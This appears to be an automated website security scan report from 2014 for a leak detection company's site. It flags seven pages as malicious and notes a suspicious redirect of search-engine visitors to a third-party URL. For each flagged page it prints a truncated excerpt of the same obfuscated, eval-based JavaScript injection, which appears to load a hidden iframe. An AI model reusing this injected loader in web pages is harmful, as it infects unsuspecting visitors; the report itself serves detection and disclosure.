Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=leakdetectionriverside.net
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
Request | Server response | Status |
http://leakdetectionriverside.net/ | 200 OK Content-Length: 37428 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) sp="split";aq="0"+"x";w=window;ff=String;z="y";ff=ff.fromCharCode;try{document["\x62od"+z]^=~1;}catch(d21vd12v){v=123;vzs=false;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,6e,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,6e,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6f,70,71,5b,5c,67,59,66, ...[3621 bytes skipped]... Antivirus reports:
| ||
http://leakdetectionriverside.net/index.htm | 200 OK Content-Length: 37428 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) sp="split";aq="0"+"x";w=window;ff=String;z="y";ff=ff.fromCharCode;try{document["\x62od"+z]^=~1;}catch(d21vd12v){v=123;vzs=false;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,6e,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,6e,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6f,70,71,5b,5c,67,59,66, ...[3621 bytes skipped]... Antivirus reports:
| ||
http://leakdetectionriverside.net/slab_leak.htm | 200 OK Content-Length: 36742 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) sp="split";aq="0"+"x";w=window;ff=String;z="y";ff=ff.fromCharCode;try{document["\x62od"+z]^=~1;}catch(d21vd12v){v=123;vzs=false;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,6e,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,6e,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6f,70,71,5b,5c,67,59,66, ...[3621 bytes skipped]... Antivirus reports:
| ||
http://leakdetectionriverside.net/infrared_camera_inspection.htm | 200 OK Content-Length: 39256 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) sp="split";aq="0"+"x";w=window;ff=String;z="y";ff=ff.fromCharCode;try{document["\x62od"+z]^=~1;}catch(d21vd12v){v=123;vzs=false;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,6e,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,6e,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6f,70,71,5b,5c,67,59,66, ...[3621 bytes skipped]... Antivirus reports:
| ||
http://leakdetectionriverside.net/water_damage_restoration.htm | 200 OK Content-Length: 36840 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) sp="split";aq="0"+"x";w=window;ff=String;z="y";ff=ff.fromCharCode;try{document["\x62od"+z]^=~1;}catch(d21vd12v){v=123;vzs=false;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,6e,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,6e,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6f,70,71,5b,5c,67,59,66, ...[3621 bytes skipped]... Antivirus reports:
| ||
http://leakdetectionriverside.net/about.htm | 200 OK Content-Length: 35376 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) sp="split";aq="0"+"x";w=window;ff=String;z="y";ff=ff.fromCharCode;try{document["\x62od"+z]^=~1;}catch(d21vd12v){v=123;vzs=false;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,6e,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,6e,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6f,70,71,5b,5c,67,59,66, ...[3621 bytes skipped]... Antivirus reports:
| ||
http://leakdetectionriverside.net/contact.htm | 200 OK Content-Length: 34557 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) sp="split";aq="0"+"x";w=window;ff=String;z="y";ff=ff.fromCharCode;try{document["\x62od"+z]^=~1;}catch(d21vd12v){v=123;vzs=false;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,6e,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,6e,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6f,70,71,5b,5c,67,59,66, ...[3621 bytes skipped]... Antivirus reports:
| ||
http://leakdetectionriverside.net/test404page.js | 404 Not Found Content-Length: 431 Content-Type: text/html | clean |
Malicious/Suspicious Redirects
Request | Server response | Status |
URL: http://leakdetectionriverside.net/ (imitation of visitor from search engine) GET / HTTP/1.1 Host: leakdetectionriverside.net Referer: http://www.google.com/search?q=redirect+check1 | HTTP/1.1 302 Found Connection: close Date: Sat, 07 Jun 2014 22:08:15 GMT Location: http://levowitz.lindenhurstcomputerservice.com/spc.php?zones=1%7C2%7C3%7C4%7C5%7C8%7C9%7C10%7C54%7C62%7C63%7C64%7C78%7C80%7C87%7C86%7C88%7C89%7C95%7C96%7C98%7C102%7C105%7C106%7C107&source=&r=71419262&charset=ISO-8859-1&loc=http%3A%2F%2Fleakdetectionriverside.net%2F&referer=http%3A%2F%2Fleakdetectionriverside.net%2F Server: Apache Content-Length: 596 Content-Type: text/html; charset=iso-8859-1 Set-Cookie: AVl=15; path=/; domain=leakdetectionriverside.net; expires=Sun, 15-Jun-2014 17:12:15 GMT | suspicious |